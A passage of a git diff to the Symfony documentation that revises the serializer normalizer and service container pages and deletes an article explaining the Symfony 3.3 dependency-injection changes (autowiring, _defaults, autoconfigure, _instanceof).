+:method:`Symfony\\Component\\Serializer\\Normalizer\\NormalizerInterface::supportsNormalization`
+(or :method:`Symfony\\Component\\Serializer\\Normalizer\\DenormalizerInterface::supportsDenormalization`)
+of all registered normalizers (or denormalizers) in a loop.
+
+The result of these methods can vary depending on the object to serialize, the
+format and the context. That's why the result **is not cached** by default and
+can result in a significant performance bottleneck.
+
+However, most normalizers (and denormalizers) always return the same result when
+the object's type and the format are the same, so the result can be cached. To
+do so, make those normalizers (and denormalizers) implement the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface`
+and return ``true`` when
+:method:`Symfony\\Component\\Serializer\\Normalizer\\CacheableSupportsMethodInterface::hasCacheableSupportsMethod`
+is called.
+
+.. note::
+
+    All built-in :ref:`normalizers and denormalizers <component-serializer-normalizers>`
+    as well the ones included in `API Platform`_ natively implement this interface.
+
+.. _`API Platform`: https://api-platform.com
+
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 002cc02a433..224fb809bcc 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -25,29 +25,31 @@ Symfony includes the following normalizers but you can also
 :doc:`create your own normalizer </serializer/custom_normalizer>`:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
+  for :phpclass:`DateTimeZone` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
+  objects implementing the :phpclass:`DateTimeInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
+  for :phpclass:`DateInterval` objects;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+  transform :phpclass:`SplFileInfo` objects in `Data URIs`_;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer` to
   normalize PHP object using an object that implements
+  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer` for
   objects implementing the :class:`Symfony\\Component\\Form\\FormInterface` to
-  normalize form errors.
-  :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`;
+  normalize form errors;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer` to
   normalize PHP object using the getter and setter methods of the object;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer` to
-  normalize PHP object using `PHP reflection`_.
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
+  normalize PHP object using `PHP reflection`_;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
+  to deal with objects implementing the :phpclass:`JsonSerializable` interface;
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer` converts objects that implement :class:`Symfony\\Component\\Uid\\AbstractUid` into strings and denormalizes uuid or ulid strings to :class:`Symfony\\Component\\Uid\\Uuid` or :class:`Symfony\\Component\\Uid\\Ulid`.
+
 
 .. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
 .. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
diff --git a/service_container.rst b/service_container.rst
index 0b140eedcd8..0e44401bef2 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -33,6 +33,7 @@ service's class or interface name. Want to :doc:`log </logging>` something? No p
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     class ProductController
     {
@@ -62,9 +63,6 @@ What other services are available? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -80,7 +78,7 @@ in the container.
 .. tip::
 
     There are actually *many* more services in the container, and each service has
-    a unique id in the container, like ``session`` or ``router.default``. For a full
+    a unique id in the container, like ``request_stack`` or ``router.default``. For a full
     list, you can run ``php bin/console debug:container``. But most of the time,
     you won't need to worry about this. See :ref:`services-wire-specific-service`.
     See :doc:`/service_container/debug`.
@@ -122,6 +120,7 @@ inside your controller::
     // src/Controller/ProductController.php
     use App\Service\MessageGenerator;
     use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
 
     /**
      * @Route("/products/new")
@@ -283,9 +282,6 @@ type-hints by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -340,19 +336,22 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
 
     // src/Controller/SiteController.php
     namespace App\Controller;
-    
-    // ...
+
     use App\Service\SiteUpdateManager;
+    // ...
 
-    public function new(SiteUpdateManager $siteUpdateManager)
+    class SiteController extends AbstractController
     {
-        // ...
+        public function new(SiteUpdateManager $siteUpdateManager)
+        {
+            // ...
 
-        if ($siteUpdateManager->notifyOfSiteUpdate()) {
-            $this->addFlash('success', 'Notification mail was sent successfully.');
-        }
+            if ($siteUpdateManager->notifyOfSiteUpdate()) {
+                $this->addFlash('success', 'Notification mail was sent successfully.');
+            }
 
-        // ...
+            // ...
+        }
     }
 
 Thanks to autowiring and your type-hints in ``__construct()``, the container creates
@@ -369,38 +368,38 @@ example, suppose you want to make the admin email configurable:
 
 .. code-block:: diff
 
-    // src/Service/SiteUpdateManager.php
-    // ...
+      // src/Service/SiteUpdateManager.php
+      // ...
 
-    class SiteUpdateManager
-    {
-        // ...
+      class SiteUpdateManager
+      {
+          // ...
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
-    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, $adminEmail)
-        {
-            // ...
+    +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
+          {
+              // ...
     +        $this->adminEmail = $adminEmail;
-        }
+          }
 
-        public function notifyOfSiteUpdate(): bool
-        {
-            // ...
+          public function notifyOfSiteUpdate(): bool
+          {
+              // ...
 
-            $email = (new Email())
-                // ...
+              $email = (new Email())
+                  // ...
     -            ->to('manager@example.com')
     +            ->to($this->adminEmail)
-                // ...
-            ;
-            // ...
-        }
-    }
+                  // ...
+              ;
+              // ...
+          }
+      }
 
 If you make this change and refresh, you'll see an error:
 
-    Cannot autowire service "App\Service\SiteUpdateManager": argument "$adminEmail"
+    Cannot autowire service "App\\Service\\SiteUpdateManager": argument "$adminEmail"
     of method "__construct()" must have a type-hint or be given a value explicitly.
 
 That makes sense! There is no way that the container knows what value you want to
@@ -500,13 +499,14 @@ parameter and in PHP config use the ``service()`` function:
         # config/services.yaml
         services:
             App\Service\MessageGenerator:
-                # this is not a string, but a reference to a service called 'logger'
-                arguments: ['@logger']
+                arguments:
+                    # this is not a string, but a reference to a service called 'logger'
+                    - '@logger'
 
-                # if the value of a string parameter starts with '@', you need to escape
-                # it by adding another '@' so Symfony doesn't consider it a service
-                # (this will be parsed as the string '@securepassword')
-                mailer_password: '@@securepassword'
+                    # if the value of a string argument starts with '@', you need to escape
+                    # it by adding another '@' so Symfony doesn't consider it a service
+                    # the following example would be parsed as the string '@securepassword'
+                    # - '@@securepassword'
 
     .. code-block:: xml
 
@@ -642,7 +642,7 @@ But, you can control this and pass in a different logger:
             // ... same code as before
 
             // explicitly configure the service
-            $services->set(SiteUpdateManager::class)
+            $services->set(MessageGenerator::class)
                 ->arg('$logger', service('monolog.logger.request'))
             ;
         };
@@ -994,7 +994,6 @@ for classes under the same namespace:
             <services>
                 <prototype namespace="App\Domain"
                     resource="../src/App/Domain/*"/>
-                </prototype>
 
                 <!-- ... -->
             </services>
diff --git a/service_container/3.3-di-changes.rst b/service_container/3.3-di-changes.rst
deleted file mode 100644
index d57be2c0e5b..00000000000
--- a/service_container/3.3-di-changes.rst
+++ /dev/null
@@ -1,873 +0,0 @@
-The Symfony 3.3 DI Container Changes Explained (autowiring, _defaults, etc)
-===========================================================================
-
-If you look at the ``services.yaml`` file in a new Symfony 3.3 or newer project, you'll
-notice some big changes: ``_defaults``, ``autowiring``, ``autoconfigure`` and more.
-These features are designed to *automate* configuration and make development faster,
-without sacrificing predictability, which is very important! Another goal is to make
-controllers and services behave more consistently. In Symfony 3.3, controllers *are*
-services by default.
-
-The documentation has already been updated to assume you have these new features
-enabled. If you're an existing Symfony user and want to understand the "what"
-and "why" behind these changes, this article is for you!
-
-All Changes are Optional
-------------------------
-
-Most importantly, **you can upgrade to Symfony 3.3 today without making any changes to your app**.
-Symfony has a strict :doc:`backwards compatibility promise </contributing/code/bc>`,
-which means it's always safe to upgrade across minor versions.
-
-All of the new features are **optional**: they are not enabled by default, so you
-need to actually change your configuration files to use them.
-
-.. _`service-33-default_definition`:
-
-The new Default services.yaml File
-----------------------------------
-
-To understand the changes, look at the new default ``services.yaml`` file (this is
-what the file looks like in Symfony 4):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # default configuration for services in *this* file
-            _defaults:
-                autowire: true      # Automatically injects dependencies in your services.
-                autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
-                public: false       # Allows optimizing the container by removing unused services; this also means
-                                    # fetching services directly from the container via $container->get() won't work.
-                                    # The best practice is to be explicit about your dependencies anyway.
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-            # controllers are imported separately to make sure services can be injected
-            # as action arguments even if you don't extend any base controller class
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-            # add more service definitions when explicit configuration is needed
-            # please note that last definitions always *replace* previous ones
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false"/>
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-
-                <!-- add more services, or override services that need manual wiring -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // default configuration for services in *this* file
-            $services = $configurator->services()
-                ->defaults()
-                    ->autowire()      // Automatically injects dependencies in your services.
-                    ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
-            ;
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-
-            // controllers are imported separately to make sure services can be injected
-            // as action arguments even if you don't extend any base controller class
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-
-            // add more service definitions when explicit configuration is needed
-            // please note that last definitions always *replace* previous ones
-        };
-
-This small bit of configuration contains a paradigm shift of how services
-are configured in Symfony.
-
-.. _`service-33-changes-automatic-registration`:
-
-1) Services are Loaded Automatically
-------------------------------------
-
-.. seealso::
-
-    Read the documentation for :ref:`automatic service loading <service-psr4-loader>`.
-
-The first big change is that services do *not* need to be defined one-by-one anymore,
-thanks to the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # makes classes in src/ available to be used as services
-            # this creates a service per class whose id is the fully-qualified class name
-            App\:
-                resource: '../src/*'
-                exclude: '../src/{Entity,Migrations,Tests}'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{Entity,Migrations,Tests}"/>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // makes classes in src/ available to be used as services
-            // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{Entity,Migrations,Tests}');
-        };
-
-This means that every class in ``src/`` is *available* to be used as a
-service. And thanks to the ``_defaults`` section at the top of the file, all of
-these services are **autowired** and **private** (i.e. ``public: false``).
-
-The service ids are equal to the class name (e.g. ``App\Service\InvoiceGenerator``).
-And that's another change you'll notice in Symfony 3.3: we recommend that you use
-the class name as your service id, unless you have :ref:`multiple services for the same class <services-explicitly-configure-wire-services>`.
-
-    But how does the container know the arguments to my services?
-
-Since each service is :ref:`autowired <services-autowire>`, the container is able
-to determine most arguments automatically. But, you can always override the service
-and :ref:`manually configure arguments <services-manually-wire-args>` or anything
-else special about your service.
-
-    But wait, if I have some model (non-service) classes in my ``src/``
-    directory, doesn't this mean that *they* will also be registered as services?
-    Isn't that a problem?
-
-Actually, this is *not* a problem. Since all the new services are :ref:`private <container-public>`
-(thanks to ``_defaults``), if any of the services are *not* used in your code, they're
-automatically removed from the compiled container. This means that the number of
-services in your container should be the *same* whether your explicitly configure
-each service or load them all at once with this method.
-
-    Ok, but can I exclude some paths that I *know* won't contain services?
-
-Yes! The ``exclude`` key is a glob pattern that can be used to *ignore* paths
-that you do *not* want to be included as services. But, since unused services are
-automatically removed from the container, ``exclude`` is not that important. The
-biggest benefit is that those paths are not *tracked* by the container, and so may
-result in the container needing to be rebuilt less-often in the ``dev`` environment.
-
-2) Autowiring by Default: Use Type-hint instead of Service id
--------------------------------------------------------------
-
-The second big change is that autowiring is enabled (via ``_defaults``) for all
-services you register. This also means that service id's are now *less* important
-and "types" (i.e. class or interface names) are now *more* important.
-
-For example, before Symfony 3.3 (and this is still allowed), you could pass one
-service as an argument to another with the following config:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            app.invoice_generator:
-                class: App\Service\InvoiceGenerator
-
-            app.invoice_mailer:
-                class: App\Service\InvoiceMailer
-                arguments:
-                    - '@app.invoice_generator'
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="app.invoice_generator"
-                    class="App\Service\InvoiceGenerator"/>
-
-                <service id="app.invoice_mailer"
-                    class="App\Service\InvoiceMailer">
-
-                    <argument type="service" id="app.invoice_generator"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Service\InvoiceGenerator;
-        use App\Service\InvoiceMailer;
-        use Symfony\Component\DependencyInjection\Reference;
-
-        $container->register('app.invoice_generator', InvoiceGenerator::class);
-        $container->register('app.invoice_mailer', InvoiceMailer::class)
-            ->setArguments([new Reference('app.invoice_generator')]);
-
-To pass the ``InvoiceGenerator`` as an argument to ``InvoiceMailer``, you needed
-to specify the service's *id* as an argument: ``app.invoice_generator``. Service
-id's were the main way that you configured things.
-
-But in Symfony 3.3, thanks to autowiring, all you need to do is type-hint the
-argument with ``InvoiceGenerator``::
-
-    // src/Service/InvoiceMailer.php
-    namespace App\Service;
-
-    // ...
-
-    class InvoiceMailer
-    {
-        private $generator;
-
-        public function __construct(InvoiceGenerator $generator)
-        {
-            $this->generator = $generator
-        }
-
-        // ...
-    }
-
-That's it! Both services are :ref:`automatically registered <service-33-changes-automatic-registration>`
-and set to autowire. Without *any* configuration, the container knows to pass the
-auto-registered ``App\Service\InvoiceGenerator`` as the first argument. As
-you can see, the *type* of the class - ``App\Service\InvoiceGenerator`` - is
-what's most important, not the id. You request an *instance* of a specific type and
-the container automatically passes you the correct service.
-
-    Isn't that magic? How does it know which service to pass me exactly? What if
-    I have multiple services of the same instance?
-
-The autowiring system was designed to be *super* predictable. It first works by looking
-for a service whose id *exactly* matches the type-hint. This means you're in full
-control of what type-hint maps to what service. You can even use service aliases
-to get more control. If you have multiple services for a specific type, *you* choose
-which should be used for autowiring. For full details on the autowiring logic, see :ref:`autowiring-logic-explained`.
-
-    But what if I have a scalar (e.g. string) argument? How does it autowire that?
-
-If you have an argument that is *not* an object, it can't be autowired. But that's
-ok! Symfony will give you a clear exception (on the next refresh of *any* page) telling
-you which argument of which service could not be autowired. To fix it, you can
-:ref:`manually configure *just* that one argument <services-manually-wire-args>`.
-This is the philosophy of autowiring: only configure the parts that you need to.
-Most configuration is automated.
-
-    Ok, but autowiring makes your applications less stable. If you change one thing
-    or make a mistake, unexpected things might happen. Isn't that a problem?
-
-Symfony has always valued stability, security and predictability first. Autowiring
-was designed with that in mind. Specifically:
-
-* If there is a problem wiring *any* argument to *any* service, a clear exception
-  is thrown on the next refresh of *any* page, even if you don't use that service
-  on that page. That's *powerful*: it is *not* possible to make an autowiring mistake
-  and not realize it.
-
-* The container determines *which* service to pass in an explicit way: it looks for
-  a service whose id matches the type-hint exactly. It does *not* scan all services
-  looking for objects that have that class/interface.
-
-Autowiring aims to *automate* configuration without magic.
-
-3) Controllers are Registered as Services
------------------------------------------
-
-The third big change is that, in a new Symfony 3.3 project, your controllers are *services*:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            # controllers are imported separately to make sure they're public
-            # and have a tag that allows actions to type-hint services
-            App\Controller\:
-                resource: '../src/Controller'
-                tags: ['controller.service_arguments']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <prototype namespace="App\Controller\" resource="../src/Controller">
-                    <tag name="controller.service_arguments"/>
-                </prototype>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            // controllers are imported separately to make sure they're public
-            // and have a tag that allows actions to type-hint services
-            $services->load('App\\Controller\\', '../src/Controller')
-                ->tag('controller.service_arguments');
-        };
-
-
-But, you might not even notice this. First, your controllers *can* still extend
-the same base controller class (``AbstractController``).
-This means you have access to all of the same shortcuts as before. Additionally,
-the ``@Route`` annotation and ``_controller`` syntax (e.g. ``App:Default:homepage``)
-used in routing will automatically use your controller as a service (as long as its
-service id matches its class name, which it *does* in this case). See :doc:`/controller/service`
-for more details. You can even create :ref:`invokable controllers <controller-service-invoke>`
-
-In other words, everything works the same. You can even add the above configuration
-to your existing project without any issues: your controllers will behave the same
-as before. But now that your controllers are services, you can use dependency injection
-and autowiring like any other service.
-
-To make life even easier, it's now possible to autowire arguments to your controller
-action methods, like you can with the constructor of services. For example::
-
-    // src/Controller/InvoiceController.php
-    namespace App\Controller;
-
-    use Psr\Log\LoggerInterface;
-
-    class InvoiceController extends AbstractController
-    {
-        public function listInvoices(LoggerInterface $logger)
-        {
-            $logger->info('A new way to access services!');
-        }
-    }
-
-This is *only* possible in a controller, and your controller service must be tagged
-with ``controller.service_arguments`` to make it happen. This new feature is used
-throughout the documentation.
-
-In general, the new best practice is to use normal constructor dependency injection
-(or "action" injection in controllers) instead of fetching public services via
-``$this->get()`` (though that does still work).
-
-.. _service_autoconfigure:
-
-4) Auto-tagging with autoconfigure
-----------------------------------
-
-The fourth big change is the ``autoconfigure`` key, which is set to ``true`` under
-``_defaults``. Thanks to this, the container will auto-tag services registered in
-this file. For example, suppose you want to create an event subscriber. First, you
-create the class::
-
-    // src/EventSubscriber/SetHeaderSusbcriber.php
-    namespace App\EventSubscriber;
-
-    // ...
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpKernel\Event\ResponseEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-
-    class SetHeaderSusbcriber implements EventSubscriberInterface
-    {
-        public function onKernelResponse(ResponseEvent $event)
-        {
-            $event->getResponse()->headers->set('X-SYMFONY-3.3', 'Less config');
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::RESPONSE => 'onKernelResponse'
-            ];
-        }
-    }
-
-Great! In Symfony 3.2 or lower, you would now need to register this as a service
-in ``services.yaml`` and tag it with ``kernel.event_subscriber``. In Symfony 3.3,
-you're already done!
-
-The service is :ref:`automatically registered <service-33-changes-automatic-registration>`.
-And thanks to ``autoconfigure``, Symfony automatically tags the service because
-it implements ``EventSubscriberInterface``.
-
-    That sounds like magic - it *automatically* tags my services?
-
-In this case, you've created a class that implements ``EventSubscriberInterface``
-and registered it as a service. This is more than enough for the container to know
-that you want this to be used as an event subscriber: more configuration is not needed.
-And the tags system is its own, Symfony-specific mechanism. And you can
-always set ``autoconfigure`` to ``false`` in ``services.yaml``, or disable it
-for a specific service.
-
-    Does this mean tags are dead? Does this work for all tags?
-
-This does *not* work for all tags. Many tags have *required* attributes, like event
-*listeners*, where you also need to specify the event name and method in your tag.
-Autoconfigure works only for tags without any required tag attributes, and as you
-read the docs for a feature, it'll tell you whether or not the tag is needed. You
-can also look at the extension classes (e.g. `FrameworkExtension for 3.3.0`_) to
-see what it autoconfigures.
-
-    What if I need to add a priority to my tag?
-
-Many autoconfigured tags have an optional priority. If you need to specify a priority
-(or any other optional tag attribute), no problem! :ref:`Manually configure your service <services-manually-wire-args>`
-and add the tag. Your tag will take precedence over the one added by auto-configuration.
-
-5) Auto-configure with _instanceof
-----------------------------------
-
-And the final big change is ``_instanceof``. It acts as a default definition
-template (see `service-33-default_definition`_), but only for services whose
-class matches a defined one.
-
-This can be very useful when many services share some tag that cannot be
-inherited from an abstract definition:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            _instanceof:
-                App\Domain\LoaderInterface:
-                    public: true
-                    tags: ['app.domain_loader']
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <!-- ... -->
-
-                <instanceof id="App\Domain\LoaderInterface" public="true">
-                    <tag name="app.domain_loader"/>
-                </instanceof>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use App\Domain\LoaderInterface;
-
-        return function(ContainerConfigurator $configurator) {
-            // ...
-
-            $services->instanceof(LoaderInterface::class)
-                ->public()
-                ->tag('app.domain_loader');
-        };
-
-What about Performance
-----------------------
-
-Symfony is unique because it has a *compiled* container. This means that there is
-*no* runtime performance impact for using any of these features. That's also why
-the autowiring system can give you such clear errors.
-
-However, there is some performance impact in the ``dev`` environment. Most importantly,
-your container will likely be rebuilt more often when you modify your service classes.
-This is because it needs to rebuild whenever you add a new argument to a service,
-or add an interface to your class that should be autoconfigured.
-
-In very big projects, this may be a problem. If it is, you can always opt to *not*
-use autowiring. If you think the cache rebuilding system could be smarter in some
-situation, please open an issue!
-
-Upgrading to the new Symfony 3.3 Configuration
-----------------------------------------------
-
-Ready to upgrade your existing project? Great! Suppose you have the following configuration:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        app.github_notifier:
-            class: App\Service\GitHubNotifier
-            arguments:
-                - '@app.api_client_github'
-
-        markdown_transformer:
-            class: App\Service\MarkdownTransformer
-
-        app.api_client_github:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://api.github.com'
-
-        app.api_client_sl_connect:
-            class: App\Service\ApiClient
-            arguments:
-                - 'https://connect.symfony.com/api'
-
-It's optional, but let's upgrade this to the new Symfony 3.3 configuration step-by-step,
-*without* breaking our application.
-
-Step 1): Adding _defaults
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Start by adding a ``_defaults`` section with ``autowire`` and ``autoconfigure``.
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-    +     _defaults:
-    +         autowire: true
-    +         autoconfigure: true
-
-        # ...
-
-You're already *explicitly* configuring all of your services. So, ``autowire``
-does nothing. You're also already tagging your services, so ``autoconfigure``
-also doesn't change any existing services.
-
-You have not added ``public: false`` yet. That will come in a minute.
-
-Step 2) Using Class Service id's
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Right now, the service ids are machine names - e.g. ``app.github_notifier``. To
-work well with the new configuration system, your service ids should be class names,
-except when you have multiple instances of the same service.
-
-Start by updating the service ids to class names:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    services:
-        # ...
-
-    -     app.github_notifier:
-    -         class: App\Service\GitHubNotifier
-    +     App\Service\GitHubNotifier:
-            arguments:
-                - '@app.api_client_github'
-
-    -     markdown_transformer:
-    -         class: App\Service\MarkdownTransformer
-    +     App\Service\MarkdownTransformer: ~
-
-        # keep these ids because there are multiple instances per class
-        app.api_client_github:
-            # ...
-        app.api_client_sl_connect:
-            # ...
-
-.. caution::
-
-    Services associated with global PHP classes (i.e. not using PHP namespaces)
-    must maintain the ``class`` parameter. For example, when using the old Twig
-    classes (e.g. ``Twig_Extensions_Extension_Intl`` instead of ``Twig\Extensions\IntlExtension``),
-    you can't redefine the service as ``Twig_Extensions_Extension_Intl: ~`` and
-    you must keep the original ``class`` parameter.
-
-.. caution::
-
-    If a service is processed by a :doc:`compiler pass </service_container/compiler_passes>`,
-    you could face a  "You have requested a non-existent service" error.
-    To get rid of this, be sure that the Compiler Pass is using ``findDefinition()``
-    instead of ``getDefinition()``. The latter won't take aliases into
-    account when looking up for services.
-    Furthermore it is always recommended to check for definition existence
-    using ``has()`` function.
-
-.. note::
-
-    If you get rid of deprecations and make your controllers extend from
-    ``AbstractController`` instead of ``Controller``, you can skip the rest of
-    this step because ``AbstractController`` doesn't provide a container where
-    you can get the services from. All services need to be injected as explained
-    in the :ref:`step 5 of this article <step-5>`.
-
-But, this change will break our app! The old service ids (e.g. ``app.github_notifier``)
-no longer exist. The simplest way to fix this is to find all your old service ids
-and update them to the new class id: ``app.github_notifier`` to ``App\Service\GitHubNotifier``.
-
-In large projects, there's a better way: create legacy aliases that map the old id
-to the new id. Create a new ``legacy_aliases.yaml`` file:
-
-.. code-block:: yaml
-
-    # config/legacy_aliases.yaml
-    services:
-        _defaults:
-            public: true
-        # aliases so that the old service ids can still be accessed
-        # remove these if/when you are not fetching these directly
-        # from the container via $container->get()
-        app.github_notifier: '@App\Service\GitHubNotifier'
-        markdown_transformer: '@App\Service\MarkdownTransformer'
-
-Then import this at the top of ``services.yaml``:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    + imports:
-    +     - { resource: legacy_aliases.yaml }
-
-    # ...
-
-That's it! The old service ids still work. Later, (see the cleanup step below), you
-can remove these from your app.
-
-Step 3) Make the Services Private
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Now you're ready to default all services to be private:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        _defaults:
-            autowire: true
-            autoconfigure: true
-    +       public: false
-
-Thanks to this, any services created in this file cannot be fetched directly from
-the container. But, since the old service id's are aliases in a separate file (``legacy_aliases.yaml``),
-these *are* still public. This makes sure the app keeps working.
-
-If you did *not* change the id of some of your services (because there are multiple
-instances of the same class), you may need to make those public:
-
-.. code-block:: diff
-
-    # config/services.yaml
-    # ...
-
-    services:
-        # ...
-
-        app.api_client_github:
-            # ...
-
-    +         # remove this if/when you are not fetching this
-    +         # directly from the container via $container->get()
-    +         public: true
-
-        app.api_client_sl_connect:
-            # ...
-    +         public: true
-
-This is to guarantee that the application doesn't break. If you're not fetching
